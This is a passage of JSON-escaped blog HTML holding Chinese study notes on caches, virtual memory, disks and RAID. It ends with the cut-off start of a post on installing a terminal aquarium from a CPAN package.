id=\"4-3-2-地址映射\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-3-2-%E5%9C%B0%E5%9D%80%E6%98%A0%E5%B0%84\" class=\"headerlink\" title=\"4.3.2.地址映射\"\u003e\u003c/a\u003e4.3.2.地址映射\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e地址映像\u003c/strong\u003e 就是把主存上的数据按照某种规则装入Cache,并建立主存和Cache地址间的映射。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e地址变换\u003c/strong\u003e 使用Cache中数据之前,必须先把程序从主存地址变换成Cache地址才能使用。\u003c/li\u003e\u003cli\u003e选取地址映射的原则:\u003cul\u003e\u003cli\u003e地址变换硬件要高速、低价、易于实现\u003c/li\u003e\u003cli\u003eCache空间利用率要高\u003c/li\u003e\u003cli\u003e发生\u003cstrong\u003e块冲突\u003c/strong\u003e概率要小\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e这种映射的调度单位是\u003cstrong\u003e块\u003c/strong\u003e。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e映射方式一般有三种:\u003cstrong\u003e全相联、直接映射、组相联\u003c/strong\u003e。\u003c/p\u003e\u003col\u003e\u003cli\u003e全相联:主存的任意一块可以映像到Cache的任意一块(可以认为是完全自由的装法)。具体如下图所示:\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602150346.png\"/\u003e\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e直接映射:按照Cache容量对主存分区,一个区的块只能装入一个Cache的对应位置。不过这里得注意,目录不存块号了,存的是区号。块号在Cache开头存着。\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602151210.png\"/\u003e\u003c/p\u003e\u003cp\u003e这样的好处就是,不用相联存储器,访问速度也快(不需要地址变换)。不过缺点也很明显:Cache块利用率低,块冲突概率高。特别是,如果主存存储的变量具有空间相关性(比如数组),那这一个Cache位置几乎每次访问都不会命中了。\u003c/p\u003e\u003col start=\"3\"\u003e\u003cli\u003e组相联:跟上面一样,将主存按Cache总大小分区,每个区内部按照Cache规则分组,每个组中有若干块。具体如下图:\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602153928.png\"/\u003e\u003c/p\u003e\u003cp\u003e它是前两者的折中,优点是提高了利用率,降低了冲突率,也大幅降低了失效比率。但是问题是制造成本和难度上升了。\u003c/p\u003e\u003cp\u003e做题时,要解决Cache分块,只需要把主存地址按照每个编号类型的长度来划分就行。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602161840.png\"/\u003e\u003c/p\u003e\u003ch3 id=\"4-3-3-替换算法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-3-3-%E6%9B%BF%E6%8D%A2%E7%AE%97%E6%B3%95\" class=\"headerlink\" title=\"4.3.3.替换算法\"\u003e\u003c/a\u003e4.3.3.替换算法\u003c/h3\u003e\u003cp\u003e直接映射不需要替换算法。全相联、组相联有如下几种替换算法:\u003c/p\u003e\u003cul\u003e\u003cli\u003e随机替换算法\u003c/li\u003e\u003cli\u003e先进先出替换算法(FIFO)\u003cul\u003e\u003cli\u003e它还有一个二次机会的版本\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e最不经常使用替换算法(LFU):总的使用频次最少,\u003cstrong\u003e实现困难\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e近期最少使用替换算法(LRU):上一次使用的时间点最晚\u003c/li\u003e\u003cli\u003e最佳替换算法(OPT):预测将来的情况,根据将来的情况替换。作为其他算法的性能基准\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e关于一致性问题有两种策略:写回法,只有Cache被替换时才将它写回;全写/写直达法,写入Cache时顺便写入主存,如果未命中,则直接写主存,然后根据WTWA/WTNWA(写分配/不分配法)来决定是否将块取到Cache。前一种方法高性能,后一种主存一致性好。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602171124.png\"/\u003e\u003c/p\u003e\u003ch3 id=\"4-3-5-Cache性能分析\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-3-5-Cache%E6%80%A7%E8%83%BD%E5%88%86%E6%9E%90\" class=\"headerlink\" title=\"4.3.5.Cache性能分析\"\u003e\u003c/a\u003e4.3.5.Cache性能分析\u003c/h3\u003e\u003col\u003e\u003cli\u003e加速比\u003cul\u003e\u003cli\u003eCache-主存系统的平均访问时间(周期)$T_A$:\u003cul\u003e\u003cli\u003e$T_A=H\\times T_C + (1-H)\\times T_M$\u003c/li\u003e\u003cli\u003e$T_A=H\\times T_C + (1-H)\\times(T_B+T_C)=T_C+(1-H)\\times T_B$\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e其中,$T_C$和$T_M$分别是Cache和主存的访问周期,数据块装入Cache的时间是$T_B$,Cache的命中率为$H$。当命中率很高时,$T_A \\to T_C$。\u003c/p\u003e\u003cp\u003e上面的两个等式,对应的分别是1,2两种情况。第二个式子的考量就是,如果没有命中缓存,则耗时为缓存装入时间加上缓存访问时间。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602200132.png\"/\u003e\u003c/p\u003e\u003cp\u003e例如,假设$H=95%,T_M=100ns,T_C=10ns$,则可得$T_A=14.5ns,S_P=6.9$。其中的$S_P$就是加速比,定义为$S_P=\\frac{T_M}{T_A}$。\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e成本\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e$C=(C_1\\times S_1+C_2\\times S_2)/(S_1+S_2)$,也就是主存价格*主存容量+缓存价格*缓存容量\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e命中率与Cache容量的关系:\u003cbr/\u003e$H=1-S^{-0.5}$\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602201118.png\"/\u003e\u003c/p\u003e\u003cp\u003e这给出了Cache容量的合理考虑区间。\u003c/p\u003e\u003col start=\"4\"\u003e\u003cli\u003e命中率与块大小的关系\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602201348.png\"/\u003e\u003c/p\u003e\u003col start=\"5\"\u003e\u003cli\u003e两级Cache\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e未命中率(失效率):$\\text{总失效率}=\\text{失效率}_\\text{第一级} \\times \\text{失效率}_\\text{第二级}$\u003c/p\u003e\u003ch2 id=\"4-4-虚拟存储器\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-4-%E8%99%9A%E6%8B%9F%E5%AD%98%E5%82%A8%E5%99%A8\" class=\"headerlink\" title=\"4.4.虚拟存储器\"\u003e\u003c/a\u003e4.4.虚拟存储器\u003c/h2\u003e\u003cp\u003e高速的主存容量不能满足要求,因此开发出了虚拟存储器(软件实现)。\u003c/p\u003e\u003cp\u003eCPU集成的:Cache,MMU等。这些为主存的实现提供了基础。\u003c/p\u003e\u003cp\u003e虚拟存储器=主存储器+外部存储器+辅助硬件(MMU)+系统软件(OS)。而虚拟地址得先转换成指向真实物理内存的物理地址才能拿来使用(地址转换)。\u003c/p\u003e\u003cp\u003e地址映像:全相联;地址变换:MMU。虚拟存储器相当于内存扩展的一种实现手段,通过将内存映像到磁盘上,模仿Cache的原理,以此扩大主存容量。\u003c/p\u003e\u003cp\u003e这其中涉及三种地址空间:\u003c/p\u003e\u003cul\u003e\u003cli\u003e虚拟地址空间:编程中用到的\u003c/li\u003e\u003cli\u003e主存储器地址空间:物理地址\u003c/li\u003e\u003cli\u003e辅助地址空间:磁盘存储器的地址\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e因地址映像和变换方法不同,存储方式分为段式存储、页式存储、段页式存储。\u003c/p\u003e\u003cul\u003e\u003cli\u003e段式存储:每个程序段从0开始编址,长度不定。如下图,把数据分段,再把数据装入内存。对于不常用的段,系统会把它放入磁盘。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230603231831.png\"/\u003e\u003c/p\u003e\u003cp\u003e缺点有俩。一个是太慢了。因为得做两次运算;另一个是,页表太大了。\u003c/p\u003e\u003cul\u003e\u003cli\u003e页式虚拟存储器:跟上面一样,分页,页大小固定。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e它的缺点很明显。当地址空间过大时,它的体积会很大。为了解决这个问题,出现了多级页表。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230603232901.png\"/\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e段页式存储器:先分段,每个段再分页。这需要段表和页表,它们都由操作系统管理。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e由于页表本身很大,因此引入了一个CPU内部的Cache用来存储TLB,而慢表存储在主存中。虚拟地址和Cache地址一样,也是把物理地址转化来得到的。每一个段的大小是4KB,页则是由若干个段构成。段有额外的位用于标记读写执行情况。段内有偏移,页内也有偏移。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e注意:页/段页都是以页为基础单位来和磁盘交换数据的,只有段式是以段为单位和磁盘交换的。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e页表级数为i,则$\\frac{2^P}{B_e}^i=2^V$,简化得:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003ei=\\frac{log_2 2^V}{log_2 2^P-log_2 B^e}=\\frac{V}{P-log_2 B^e}=\\frac{V}{P-N_e}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e其中,$V$是虚页号的位数,$P$是页内偏移的位数,$N_e$是页表每一项需要几位编址。\u003c/p\u003e\u003ch2 id=\"4-5-外存储器\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-5-%E5%A4%96%E5%AD%98%E5%82%A8%E5%99%A8\" class=\"headerlink\" title=\"4.5.外存储器\"\u003e\u003c/a\u003e4.5.外存储器\u003c/h2\u003e\u003cp\u003e磁盘特点:\u003c/p\u003e\u003cul\u003e\u003cli\u003e优点:存储容量大,单位价格低、记录介质可重复使用、可长期脱机保存、非破坏性读出\u003c/li\u003e\u003cli\u003e缺点:存取速度慢、机械结构复杂、工作环境要求高\u003c/li\u003e\u003c/ul\u003e\u003col\u003e\u003cli\u003e磁记录原理\u003c/li\u003e\u003c/ol\u003e\u003cul\u003e\u003cli\u003e写入:磁头通不同方向的电流,就能在磁化材料上留下不同方向的磁场。\u003c/li\u003e\u003cli\u003e读取:原来是磁头切割磁感线,电流方向就是信息。现在是GMR效应,读取使用单独的头,能实现更高的容量。从LMR到垂直记录技术(PMR)的改进也大幅提高了磁盘容量。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e记录方式,和计算机网络中的编码是相似的,有RZ,NRZ,NRZ1,FM,MFM,PM等:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230603235144.png\"/\u003e\u003c/p\u003e\u003cp\u003e这是磁盘的结构,一般民用磁盘大气压和外界一样的,高速旋转时,会在表面形成气垫,托起磁头。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230603235245.png\"/\u003e\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e硬盘的数据记录格式\u003c/li\u003e\u003c/ol\u003e\u003cul\u003e\u003cli\u003e磁盘内部物理地址\u003cul\u003e\u003cli\u003e柱面 \u003cstrong\u003eC\u003c/strong\u003eylinder\u003c/li\u003e\u003cli\u003e记录区 \u003cstrong\u003eH\u003c/strong\u003eead\u003c/li\u003e\u003cli\u003e扇区 \u003cstrong\u003eS\u003c/strong\u003eector\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e结构方面,单个面分为一个一个的环,称为\u003cstrong\u003e磁道(Tracks)\u003c/strong\u003e。几个盘面上的同位置的磁道组合起来称为一个\u003cstrong\u003e柱面(Cyinder)\u003c/strong\u003e。磁盘上一个扇形区域称为一个\u003cstrong\u003e扇区(Sectors)\u003c/strong\u003e。\u003c/p\u003e\u003col start=\"3\"\u003e\u003cli\u003e主要技术指标\u003c/li\u003e\u003c/ol\u003e\u003cul\u003e\u003cli\u003e道密度:道/mm,道/英寸\u003c/li\u003e\u003cli\u003e位密度:bit/mm,bit/英寸\u003c/li\u003e\u003cli\u003e存储容量\u003cul\u003e\u003cli\u003e非格式化容量=位密度x内圈磁道周长x每个记录面的磁道数x记录面数\u003c/li\u003e\u003cli\u003e格式化容量=每个扇区的字节数x每道扇区数x每个记录面磁道数x记录面数\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617192822.png\"/\u003e\u003c/p\u003e\u003cp\u003e存储容量如上,有两种。早期为方便管理,将所有磁道等分为相同的扇区数。\u003cstrong\u003e磁道外圈可靠性最高(因为外圈的词单元尺寸最大,所以最可靠),从外圈开始编号\u003c/strong\u003e。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e平均访问时间\u003c/strong\u003e:平均寻道时间+平均等待时间(转半圈的速度)+数据传输时间,是毫秒级别的参数。\u003c/li\u003e\u003cli\u003e转速:RPM(转/分钟)\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e数据传输速率\u003c/strong\u003e:磁头找到数据地址后,单位时间读/写的字节数。计算方法为:$\\text{每个扇区的字节数}\\times\\text{每道扇区数}\\times\\text{磁盘转速}$\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617194108.png\"/\u003e\u003c/p\u003e\u003cp\u003e上面是2001年生产的硬盘参数,能从参数看出磁盘对加工精度的极高要求。下面是一个硬盘容量计算的例题。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617194904.png\"/\u003e\u003c/p\u003e\u003cp\u003e受限于磁盘的物理原理,磁盘的随机访问性能相对比较差。因此,引入了磁盘阵列RAID。\u003c/p\u003e\u003ch4 id=\"4-5-1-磁盘阵列RAID\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-5-1-%E7%A3%81%E7%9B%98%E9%98%B5%E5%88%97RAID\" class=\"headerlink\" title=\"4.5.1.磁盘阵列RAID\"\u003e\u003c/a\u003e4.5.1.磁盘阵列RAID\u003c/h4\u003e\u003cblockquote\u003e\u003cp\u003e这部分内容了解就行(\u003cdel\u003e不了解也行\u003c/del\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e作用就是通过设置重复设备,来提高整体的性能和可靠性。详细可以看这本书:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617195224.png\" alt=\"这俩也是很猛的佬,整了个硅谷出来。MIPS处理器也是他们设计的\"/\u003e\u003c/p\u003e\u003cp\u003eRAID全称呼:独立冗余磁盘阵列(Redundant Array of Independent Disks)。不过刚开始I表示的是Inexpensive,廉价。\u003c/p\u003e\u003ch5 id=\"RAID0:无冗余\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#RAID0%EF%BC%9A%E6%97%A0%E5%86%97%E4%BD%99\" class=\"headerlink\" title=\"RAID0:无冗余\"\u003e\u003c/a\u003eRAID0:无冗余\u003c/h5\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617195645.png\"/\u003e\u003c/p\u003e\u003cp\u003e性能高,但是可靠性不高。并且需要至少两块硬盘。\u003c/p\u003e\u003ch5 id=\"RAID1:两块盘互为镜像\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#RAID1%EF%BC%9A%E4%B8%A4%E5%9D%97%E7%9B%98%E4%BA%92%E4%B8%BA%E9%95%9C%E5%83%8F\" class=\"headerlink\" title=\"RAID1:两块盘互为镜像\"\u003e\u003c/a\u003eRAID1:两块盘互为镜像\u003c/h5\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617195818.png\"/\u003e\u003c/p\u003e\u003ch5 id=\"RAID0-1-x2F-RAID01\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#RAID0-1-x2F-RAID01\" class=\"headerlink\" title=\"RAID0+1/RAID01\"\u003e\u003c/a\u003eRAID0+1/RAID01\u003c/h5\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617195914.png\"/\u003e\u003c/p\u003e\u003ch5 id=\"RAID1-0-x2F-RAID10\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#RAID1-0-x2F-RAID10\" class=\"headerlink\" title=\"RAID1+0/RAID10\"\u003e\u003c/a\u003eRAID1+0/RAID10\u003c/h5\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617195925.png\"/\u003e\u003c/p\u003e\u003ch5 id=\"RAID2:冗余使用汉明码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#RAID2%EF%BC%9A%E5%86%97%E4%BD%99%E4%BD%BF%E7%94%A8%E6%B1%89%E6%98%8E%E7%A0%81\" class=\"headerlink\" title=\"RAID2:冗余使用汉明码\"\u003e\u003c/a\u003eRAID2:冗余使用汉明码\u003c/h5\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617195959.png\"/\u003e\u003c/p\u003e\u003ch5 id=\"RAID3:位交错奇偶校验\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#RAID3%EF%BC%9A%E4%BD%8D%E4%BA%A4%E9%94%99%E5%A5%87%E5%81%B6%E6%A0%A1%E9%AA%8C\" class=\"headerlink\" title=\"RAID3:位交错奇偶校验\"\u003e\u003c/a\u003eRAID3:位交错奇偶校验\u003c/h5\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617200046.png\"/\u003e\u003c/p\u003e\u003cp\u003e不能并发读写\u003c/p\u003e\u003ch5 id=\"RAID4:块级奇偶校验\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#RAID4%EF%BC%9A%E5%9D%97%E7%BA%A7%E5%A5%87%E5%81%B6%E6%A0%A1%E9%AA%8C\" class=\"headerlink\" title=\"RAID4:块级奇偶校验\"\u003e\u003c/a\u003eRAID4:块级奇偶校验\u003c/h5\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617200221.png\"/\u003e\u003c/p\u003e\u003cp\u003e可以并发读取,不过不能并发写入。\u003c/p\u003e\u003ch5 id=\"RAID5\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#RAID5\" class=\"headerlink\" title=\"RAID5\"\u003e\u003c/a\u003eRAID5\u003c/h5\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617200316.png\"/\u003e\u003c/p\u003e\u003ch5 id=\"RAID6\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#RAID6\" class=\"headerlink\" title=\"RAID6\"\u003e\u003c/a\u003eRAID6\u003c/h5\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617200331.png\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617200357.png\"/\u003e\u003c/p\u003e\u003ch2 id=\"4-6-Cache一致性协议\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-6-Cache%E4%B8%80%E8%87%B4%E6%80%A7%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"4.6.Cache一致性协议\"\u003e\u003c/a\u003e4.6.Cache一致性协议\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e了解就行\u003c/p\u003e\u003c/blockquote\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/"},{"title":"试试终端养鱼(Linux)!","time":"2023-05-31T13:17:06Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e我在Ubuntu上得安装点依赖,主要是Cursor和Animation;剩下的很简单。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 安装curse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esudo apt-get install libcurses-perl\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 安装Animation\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ewget http://search.cpan.org/CPAN/authors/id/K/KB/KBAUCOM/Term-Animation-2.4.tar.gz\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etar -zxvf Term-Animation-2.4.tar.gz ; \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e 